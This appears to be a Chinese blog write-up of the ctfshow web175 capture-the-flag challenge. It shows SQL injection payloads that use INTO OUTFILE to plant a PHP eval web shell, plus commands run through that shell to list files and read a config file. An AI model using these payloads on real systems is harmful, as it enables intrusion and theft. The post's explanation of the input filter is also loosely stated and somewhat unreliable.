ctfshow-web175详细解答

!preg_match('/[\x00-\x7f]/i

意思是ascii码值从0-127都被过滤了,无法使用select进行查询

<?php eval($_POST[1]);?>

通过此条语句进行植入代码,代码将作为$_POST参数传递,$_POST[1]参数包含一串可执行代码,然后使用此参数调用eval来执行代码(是什么安全漏洞允许将eval代码添加到代码库中)

99' union select 1,2,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php

导出数据到pc的指定目录下(select into outfile)

<?php eval($_POST[1]);?>进行base64编码再进行URL转换

%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b

99' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b") into outfile '/var/www/html/1.php

抓包显示输入错误,在头部ctf.show/后输入1.php(植入的文件)

显示未定义的偏移量,代表植输入的1.php成功

打开hackbar在里面post传值中输入1=phpinfo();phpinfo — 输出关于 PHP 配置的信息

打开蚁剑

配置相关信息

右击进行数据操作添加相关信息

1=system("ls"); (system(执行shell命令))

可以看见api目录,进入1=system("ls ./api/");

1=system("tac ./api/config.php");进入config.php目录

信息都已经出来,在蚁剑中进行数据操作得到以下数据

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

B10SS0MS

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值